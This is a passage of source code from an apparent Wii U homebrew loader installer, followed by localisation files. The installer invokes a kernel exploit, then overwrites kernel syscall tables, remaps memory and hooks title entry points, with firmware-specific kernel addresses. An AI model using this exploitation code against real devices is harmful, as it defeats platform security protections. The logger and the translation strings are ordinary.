0xFFE85070 // works with games #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader #define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu #define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) #elif (VER == 410) #define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0 #define ADDRESS_main_entry_hook 0x0101BD4C #define KERN_SYSCALL_TBL_1 0xFFE84C90 #define KERN_SYSCALL_TBL_2 0xFFE85090 #define KERN_SYSCALL_TBL_3 0xFFE85C90 #define KERN_SYSCALL_TBL_4 0xFFE85490 #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser #elif (VER == 400) #define ADDRESS_OSTitle_main_entry_ptr 0x1005A600 #define ADDRESS_main_entry_hook 0x0101BD4C #define KERN_SYSCALL_TBL_1 0xFFE84C90 #define KERN_SYSCALL_TBL_2 0xFFE85090 #define KERN_SYSCALL_TBL_3 0xFFE85C90 #define KERN_SYSCALL_TBL_4 0xFFE85490 #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser #elif ( (VER == 300) || (VER == 310) ) #define ADDRESS_OSTitle_main_entry_ptr 0x1005BBC0 #define ADDRESS_main_entry_hook 0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate #define KERN_SYSCALL_TBL_1 0xFFE84D50 #define KERN_SYSCALL_TBL_2 0xFFE85150 #define KERN_SYSCALL_TBL_3 0xFFE85D50 // comes after KERN_SYSCALL_TBL_5 #define KERN_SYSCALL_TBL_4 0xFFE85550 #define KERN_SYSCALL_TBL_5 0xFFE85950 #else #error Please define valid values for firmware. #endif // VER #define ROOTRPX_DBAT0U_VAL 0xC00003FF #define COREINIT_DBAT0U_VAL 0xC20001FF #if (VER >= 410) #define ROOTRPX_DBAT0L_VAL 0x30000012 #define COREINIT_DBAT0L_VAL 0x32000012 #elif (VER <= 400) #define ROOTRPX_DBAT0L_VAL 0x4E000012 #define COREINIT_DBAT0L_VAL 0x4D000012 #else #error Please define valid values for firmware. #endif /* Install functions */ static void InstallMain(private_data_t *private_data); static void InstallPatches(private_data_t *private_data); static void ExitFailure(private_data_t *private_data, const char *failure); static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address); static void thread_callback(int argc, void *argv); static void SetupKernelSyscall(unsigned int addr); static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); /* assembly functions */ extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); extern void Syscall_0x36(void); extern void KernelPatches(void); /* ****************************************************************** */ /* ENTRY POINT */ /* ****************************************************************** */ void __main(void) { /* Get coreinit handle and keep it in memory */ unsigned int coreinit_handle; OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); /* Get our memory functions */ unsigned int* functionPointer; void* (*memset)(void * dest, unsigned int value, unsigned int bytes); OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); private_data_t private_data; memset(&private_data, 0, sizeof(private_data_t)); private_data.coreinit_handle = coreinit_handle; private_data.memset = memset; private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) { run_kexploit(&private_data); } else { /* Get functions to send restart signal */ int(*IM_Open)(); int(*IM_Close)(int fd); int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); void*(*OSAllocFromSystem)(unsigned int size, int align); void(*OSFreeToSystem)(void *ptr); OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); /* Send restart signal to get rid of uneeded threads */ /* Cause the other browser threads to exit */ int fd = IM_Open(); void *mem = OSAllocFromSystem(0x100, 64); if(!mem) ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser."); private_data.memset(mem, 0, 0x100); /* Sets wanted flag */ IM_SetDeviceState(fd, mem, 3, 0, 0); IM_Close(fd); OSFreeToSystem(mem); /* Waits for thread exits */ unsigned int t1 = 0x1FFFFFFF; while(t1--) ; /* restore kernel memory table to original state */ kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); } /* Prepare for thread startups */ int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr); int (*OSResumeThread)(void *thread); int (*OSIsThreadTerminated)(void *thread); OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); /* Allocate a stack for the thread */ /* IMPORTANT: libcurl uses around 0x1000 internally so make sure to allocate more for the stack to avoid crashes */ void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20); /* Create the thread variable */ void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8); if(!thread || !stack) ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser."); // the thread stack is too small on current thread, switch to an own created thread // create a detached thread with priority 0 and use core 1 int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A); if (ret == 0) ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser."); /* Schedule it for execution */ OSResumeThread(thread); // Keep this main thread around for ELF loading // Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate while(OSIsThreadTerminated(thread) == 0) { asm volatile ( " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" " nop\n" ); } /* setup kernel copy data syscall */ kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData); /* Install our code now */ InstallMain(&private_data); /* setup our own syscall and call it */ SetupKernelSyscall((unsigned int)KernelPatches); Syscall_0x36(); /* Patch functions and our code for usage */ InstallPatches(&private_data); /* Free thread memory and stack */ private_data.MEMFreeToDefaultHeap(thread); private_data.MEMFreeToDefaultHeap(stack); //! we are done -> exit browser now private_data._Exit(); } void ExitFailure(private_data_t *private_data, const char *failure) { /************************************************************************/ // Prepare screen void (*OSScreenInit)(); unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); // Prepare screen int screen_buf0_size = 0; int screen_buf1_size = 0; unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; // Init screen and screen buffers OSScreenInit(); screen_buf0_size = OSScreenGetBufferSizeEx(0); screen_buf1_size = OSScreenGetBufferSizeEx(1); OSScreenSetBufferEx(0, (void *)0xF4000000); OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); // Clear screens OSScreenClearBufferEx(0, screen_color); OSScreenClearBufferEx(1, screen_color); // Flush the cache private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); // Flip buffers OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1); OSScreenPutFontEx(1, 0, 0, failure); OSScreenFlipBuffersEx(1); OSScreenClearBufferEx(1, 0); unsigned int t1 = 0x3FFFFFFF; while(t1--) asm volatile("nop"); private_data->_Exit(); } /* ***************************************************************************** * Base functions * ****************************************************************************/ static void SetupKernelSyscall(unsigned int address) { // Add syscall #0x36 kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address); // make kern_read/kern_write available in all places kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); } static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) { /* * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section */ register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; // setup mapping based on target address if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address { target_dbat0u = ROOTRPX_DBAT0U_VAL; target_dbat0l = ROOTRPX_DBAT0L_VAL; } else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) { target_dbat0u = COREINIT_DBAT0U_VAL; target_dbat0l = COREINIT_DBAT0L_VAL; } // save the original DBAT value asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); asm volatile("eieio; isync"); unsigned char *src_p = (unsigned char*)src; unsigned char *dst_p = (unsigned char*)addr; unsigned int i; for(i = 0; i < len; i++) { dst_p[i] = src_p[i]; } unsigned int flushAddr = addr & ~31; while(flushAddr < (addr + len)) { asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); flushAddr += 0x20; } /* * Restore original DBAT value */ asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); asm volatile("eieio; isync"); } static void thread_callback(int argc, void *argv) { /* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */ unsigned int sysapp_handle; void (*_SYSLaunchMiiStudio)(void) = 0; OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio); _SYSLaunchMiiStudio(); } static int strcmp(const char *s1, const char *s2) { while(*s1 && *s2) { if(*s1 != *s2) { return -1; } s1++; s2++; } if(*s1 != *s2) { return -1; } return 0; } static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) { Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; if ( !data || !IS_ELF (*ehdr) || (ehdr->e_type != ET_EXEC) || (ehdr->e_machine != EM_PPC)) { ExitFailure(private_data, "Invalid elf file"); } Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); int i; for(i = 0; i < ehdr->e_shnum; i++) { const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; if(strcmp(section_name, name) == 0) { if(addr) *addr = shdr[i].sh_addr; if(size) *size = shdr[i].sh_size; return shdr[i].sh_offset; } } if(fail_on_not_found) ExitFailure(private_data, (char*)name); return 0; } /* ****************************************************************** */ /* INSTALL MAIN CODE */ /* ****************************************************************** */ static void InstallMain(private_data_t *private_data) { // get .text section unsigned int main_text_addr = 0; unsigned int main_text_len = 0; unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); unsigned char *main_text = private_data->data_elf + section_offset; /* Copy main .text to memory */ if(section_offset > 0) SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); // get the .rodata section unsigned int main_rodata_addr = 0; unsigned int main_rodata_len = 0; section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); if(section_offset > 0) { unsigned char *main_rodata = private_data->data_elf + section_offset; /* Copy main rodata to memory */ SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); } // get the .data section unsigned int main_data_addr = 0; unsigned int main_data_len = 0; section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); if(section_offset > 0) { unsigned char *main_data = private_data->data_elf + section_offset; /* Copy main data to memory */ SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); } // get the .bss section unsigned int main_bss_addr = 0; unsigned int main_bss_len = 0; section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); if(section_offset > 0) { unsigned char *main_bss = private_data->data_elf + section_offset; /* Copy main data to memory */ SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); } } /* ****************************************************************** */ /* INSTALL PATCHES */ /* All OS specific stuff is done here */ /* ****************************************************************** */ static void InstallPatches(private_data_t *private_data) { OsSpecifics osSpecificFunctions; private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); unsigned int bufferU32; /* Pre-setup a few options to defined values */ bufferU32 = VER; SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); bufferU32 = 0xDEADC0DE; SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); bufferU32 = 0; SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); unsigned int jump_main_hook = 0; osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; //! pointer to main entry point of a title osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); //! at this point we dont need to check header and stuff as it is sure to be OK Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; unsigned int mainEntryPoint = ehdr->e_entry; //! Install our entry point hook unsigned int repl_addr = ADDRESS_main_entry_hook; unsigned int jump_addr = mainEntryPoint & 0x03fffffc; bufferU32 = 0x48000003 | jump_addr; SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); // flush caches and invalidate instruction cache private_data->ICInvalidateRange((void*)(repl_addr), 4); } ================================================ FILE: installer/logger.c ================================================ #include #include #include #include #include #include "common/common.h" #include "dynamic_libs/socket_functions.h" #include "logger.h" static int log_socket = 0; void log_init(void) { if(log_socket > 0) return; log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if (log_socket < 0) return; struct sockaddr_in connect_addr; memset(&connect_addr, 0, sizeof(connect_addr)); connect_addr.sin_family = AF_INET; connect_addr.sin_port = 4405; inet_aton("192.168.0.44", &connect_addr.sin_addr); if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) { socketclose(log_socket); log_socket = -1; } } void log_print(const char *str) { // socket is always 0 initially as it is in the BSS if(log_socket <= 0) { log_init(); return; } int len = strlen(str); int ret; while (len > 0) { ret = send(log_socket, str, len, 0); if(ret < 0) return; len -= ret; str += ret; } } void log_printf(const char *format, ...) { if(log_socket <= 0) { log_init(); return; } char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { log_print(tmp); } va_end(va); if(tmp) free(tmp); } ================================================ FILE: installer/logger.h ================================================ #ifndef __LOGGER_H_ #define __LOGGER_H_ #ifdef __cplusplus extern "C" { #endif /* Communication bytes with the server */ // Com #define BYTE_NORMAL 0xff #define BYTE_SPECIAL 0xfe #define BYTE_OK 0xfd #define BYTE_PING 0xfc #define BYTE_LOG_STR 0xfb #define BYTE_DISCONNECT 0xfa // SD #define BYTE_MOUNT_SD 0xe0 #define BYTE_MOUNT_SD_OK 0xe1 #define BYTE_MOUNT_SD_BAD 0xe2 // Replacement #define BYTE_STAT 0x00 #define BYTE_STAT_ASYNC 0x01 #define BYTE_OPEN_FILE 0x02 #define BYTE_OPEN_FILE_ASYNC 0x03 #define BYTE_OPEN_DIR 0x04 #define BYTE_OPEN_DIR_ASYNC 0x05 #define BYTE_CHANGE_DIR 0x06 #define BYTE_CHANGE_DIR_ASYNC 0x07 #define BYTE_MAKE_DIR 0x08 #define BYTE_MAKE_DIR_ASYNC 0x09 #define BYTE_RENAME 0x0A #define BYTE_RENAME_ASYNC 0x0B #define BYTE_REMOVE 0x0C #define BYTE_REMOVE_ASYNC 0x0D // Log #define BYTE_CLOSE_FILE 0x40 #define BYTE_CLOSE_FILE_ASYNC 0x41 #define BYTE_CLOSE_DIR 0x42 #define BYTE_CLOSE_DIR_ASYNC 0x43 #define BYTE_FLUSH_FILE 0x44 #define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 #define BYTE_GET_LAST_ERROR 0x46 #define BYTE_GET_MOUNT_SOURCE 0x47 #define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 #define BYTE_GET_POS_FILE 0x49 #define BYTE_SET_POS_FILE 0x4A #define BYTE_GET_STAT_FILE 0x4B #define BYTE_EOF 0x4C #define BYTE_READ_FILE 0x4D #define BYTE_READ_FILE_ASYNC 0x4E #define BYTE_READ_FILE_WITH_POS 0x4F #define BYTE_READ_DIR 0x50 #define BYTE_READ_DIR_ASYNC 0x51 #define BYTE_GET_CWD 0x52 #define BYTE_SET_STATE_CHG_NOTIF 0x53 #define BYTE_TRUNCATE_FILE 0x54 #define BYTE_WRITE_FILE 0x55 #define BYTE_WRITE_FILE_WITH_POS 0x56 #define BYTE_SAVE_INIT 0x57 #define BYTE_SAVE_SHUTDOWN 0x58 #define BYTE_SAVE_INIT_SAVE_DIR 0x59 #define BYTE_SAVE_FLUSH_QUOTA 0x5A #define BYTE_SAVE_OPEN_DIR 0x5B #define BYTE_SAVE_REMOVE 0x5C #define BYTE_CREATE_THREAD 0x60 int logger_connect(int *socket); void logger_disconnect(int socket); void log_string(int sock, const char* str, char byte); void log_byte(int sock, char byte); void log_init(void); void log_print(const char *str); void log_printf(const char *format, ...); #ifdef __cplusplus } #endif #endif ================================================ FILE: installer/socket.h ================================================ #define AF_INET 2 #define SOCK_STREAM 1 #define IPPROTO_TCP 6 struct in_addr { unsigned long s_addr; }; struct sockaddr { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; char sin_zero[8]; }; /* IP address of the RPC client (in this case, 192.168.1.9) */ #define PC_IP ( (192<<24) | (168<<16) | (1<<8) | (9<<0) ) ================================================ FILE: installer/structs.h ================================================ #ifndef STRUCTS_H #define STRUCTS_H typedef struct { unsigned char *data; int len; int alloc_size; void* (*memcpy)(void * dest, const void * src, int num); } file_struct_t; typedef struct { unsigned char *data_elf; unsigned int coreinit_handle; /* function pointers */ void* (*memcpy)(void * dest, const void * src, int num); void* (*memset)(void * dest, unsigned int value, unsigned int bytes); void* (*OSEffectiveToPhysical)(const void*); void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); void (*MEMFreeToDefaultHeap)(void *ptr); void (*DCFlushRange)(const void *addr, unsigned int length); void (*ICInvalidateRange)(const void *addr, unsigned int length); void (*_Exit)(void); void* (*curl_easy_init)(void); void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); int (*curl_easy_perform)(void *handle); void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); void (*curl_easy_cleanup)(void *handle); } private_data_t; #endif // STRUCTS_H ================================================ FILE: installer/types.h ================================================ #ifndef TYPES_H #define TYPES_H typedef unsigned long long uint64_t; typedef long long int64_t; typedef unsigned int uint32_t; typedef int int32_t; typedef unsigned short uint16_t; typedef short int16_t; typedef unsigned char uint8_t; typedef char int8_t; typedef uint32_t size_t; typedef _Bool bool; #define true 1 #define false 0 #define null 0 #define NULL (void*)0 #endif /* TYPES_H */ ================================================ FILE: languages/chinese.lang ================================================ # Loadiine GX2 language source file. # chinese.lang - v0.34 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: kavid by 91wii.com \n" "Language-Team: 91wii.com\n" "Language: Simplified Chinese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "Loadiine GX2" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "官方网站" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "代码编写:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "界面设计:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "有些人不想被提到名字。" #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr "测试者:" #: src/menu/CreditsMenu.cpp:121 msgid "Cyan / Maschell / n1ghty / OnionKnight and many more" msgstr "Cyan / Maschell / n1ghty / OnionKnight 等等更多人" #: src/menu/CreditsMenu.cpp:128 msgid "Social Presence:" msgstr "参与人员:" #: src/menu/CreditsMenu.cpp:141 msgid "Based on:" msgstr "基于:" #: src/menu/CreditsMenu.cpp:147 msgid "Loadiine v4.0 by Golden45 and Dimok" msgstr "Loadiine v4.0作者Golden45和Dimok" #: src/menu/CreditsMenu.cpp:154 msgid "Big thanks to:" msgstr "强烈感谢:" #: src/menu/CreditsMenu.cpp:160 msgid "lustar for GameTDB and hosting covers / disc images" msgstr "lustar的GameTDB与提供的封面和光盘封面" #: src/menu/CreditsMenu.cpp:167 msgid "Marionumber1 for his kernel exploit" msgstr "Marionumber1开发的内核破解程序" #: src/menu/CreditsMenu.cpp:174 msgid "The whole libwiiu team and it's contributors." msgstr "还有libwiiu小组和其他人所做出贡献" #: src/menu/GameLauncherMenu.cpp:52 msgid "Extra Save:" msgstr "扩展存档:" #: src/menu/GameLauncherMenu.cpp:53 msgid "Enable DLC Support:" msgstr "启用DLC支持:" #: src/menu/GameLauncherMenu.cpp:76 msgid "Update Folder" msgstr "更新文件夹" #: src/menu/GameLauncherMenu.cpp:77 msgid "Save Mode" msgstr "存档模式" #: src/menu/GameLauncherMenu.cpp:78 src/menu/SettingsMenu.cpp:75 msgid "Launch Mode" msgstr "运行模式" #: src/menu/GameLauncherMenu.cpp:89 src/menu/GameLauncherMenu.cpp:94 #, fuzzy msgid "" msgstr "<默认设置>" #: src/menu/GameLauncherMenu.cpp:492 msgid "Saving game settings!" msgstr "保存游戏设置!" #: src/menu/SettingsMenu.cpp:32 msgid "Off" msgstr "关闭" #: src/menu/SettingsMenu.cpp:33 msgid "On" msgstr "开启" #: src/menu/SettingsMenu.cpp:38 msgid "Icon Carousel" msgstr "旋转图标模式" #: src/menu/SettingsMenu.cpp:39 msgid "Grid View" msgstr "网格视图" #: src/menu/SettingsMenu.cpp:40 msgid "Cover Carousel" msgstr "旋转封面模式" #: src/menu/SettingsMenu.cpp:52 msgid "Background customizations" msgstr "自定义背景" #: src/menu/SettingsMenu.cpp:52 msgid "GUI" msgstr "图形化" #: src/menu/SettingsMenu.cpp:52 msgid "Game View Selection" msgstr "游戏查看选择" #: src/menu/SettingsMenu.cpp:53 msgid "Adjust log server IP and port" msgstr "更改日志服务器的ip和端口" #: src/menu/SettingsMenu.cpp:53 msgid "Customize games path" msgstr "自定义游戏路径" #: src/menu/SettingsMenu.cpp:53 msgid "Customize save path" msgstr "自定义保存路径" #: src/menu/SettingsMenu.cpp:53 msgid "Loader" msgstr "加载器" #: src/menu/SettingsMenu.cpp:53 msgid "Set save mode" msgstr "设置存档模式" #: src/menu/SettingsMenu.cpp:54 msgid "Game" msgstr "游戏" #: src/menu/SettingsMenu.cpp:54 #, fuzzy msgid "HID settings" msgstr "HID设置" #: src/menu/SettingsMenu.cpp:54 msgid "Launch method selection" msgstr "运行模式选择" #: src/menu/SettingsMenu.cpp:54 msgid "Log server control" msgstr "日志服务器控制" #: src/menu/SettingsMenu.cpp:54 msgid "Padcon settings" msgstr "屏幕控制设置" #: src/menu/SettingsMenu.cpp:54 msgid "PyGecko settings" msgstr "金手指设置" #: src/menu/SettingsMenu.cpp:55 msgid "Credits" msgstr "感谢" #: src/menu/SettingsMenu.cpp:55 msgid "Credits to all contributors" msgstr "感谢所有为此项目的贡献者" #: src/menu/SettingsMenu.cpp:60 msgid "Game View TV" msgstr "电视显示样式" #: src/menu/SettingsMenu.cpp:61 msgid "Game View DRC" msgstr "平板显示样式" #: src/menu/SettingsMenu.cpp:66 msgid "Show Game Settings" msgstr "显示游戏设置" #: src/menu/SettingsMenu.cpp:67 msgid "Host IP" msgstr "主机IP" #: src/menu/SettingsMenu.cpp:68 msgid "Game Path" msgstr "游戏路径" #: src/menu/SettingsMenu.cpp:69 msgid "Game Save Path" msgstr "游戏存档路径" #: src/menu/SettingsMenu.cpp:70 msgid "Game Save Mode" msgstr "游戏存档模式" #: src/menu/SettingsMenu.cpp:76 msgid "Log Server Control" msgstr "日志服务器控制" #: src/menu/SettingsMenu.cpp:77 msgid "PyGecko" msgstr "金手指" #: src/menu/SettingsMenu.cpp:78 msgid "Padcon" msgstr "平板屏幕控制" #: src/menu/SettingsMenu.cpp:79 msgid "HID-Pad" msgstr "HID转PAD控制" #: src/menu/SettingsMenu.cpp:80 #, fuzzy msgid "HID-Pad Rumble" msgstr "HID转PAD控制" #: src/menu/SettingsMenu.cpp:81 #, fuzzy msgid "HID-Pad Network" msgstr "HID转PAD控制" #~ msgid "Art Atelier Mode" #~ msgstr "绘心教室模式" #~ msgid "Shared Mode" #~ msgstr "共享模式" #~ msgid "Unique Mode" #~ msgstr "独享模式" #~ msgid "Mii Maker Mode" #~ msgstr "Mii Maker模式" #~ msgid "Smash Bros Mode" #~ msgstr "超级大乱斗模式" #~ msgid "Karaoke Mode" #~ msgstr "卡拉OK模式" #~ msgid "Log Server IP" #~ msgstr "日志服务器IP" ================================================ FILE: languages/chinese_tr.lang ================================================ # Loadiine GX2 language source file. # chinese_Tr.lang - v0.34 # don't delete/change this line (é). msgid "" msgstr "" "Project-Id-Version: Loadiine GX2\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2016-08-28 11:40+0200\n" "PO-Revision-Date: 2009-10-01 01:00+0200\n" "Last-Translator: kavid by 91wii.com \n" "Language-Team: 91wii.com\n" "Language: Traditional Chinese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: src/menu/CreditsMenu.cpp:69 msgid "Loadiine GX2" msgstr "Loadiine GX2" #: src/menu/CreditsMenu.cpp:76 msgid "Official Site:" msgstr "官方網站" #: src/menu/CreditsMenu.cpp:89 msgid "Coding:" msgstr "代碼編寫:" #: src/menu/CreditsMenu.cpp:102 msgid "Design:" msgstr "界面設計:" #: src/menu/CreditsMenu.cpp:108 msgid "Some guy who doesn't want to be named." msgstr "有些人不想被提到名字。" #: src/menu/CreditsMenu.cpp:115 msgid "Testing:" msgstr 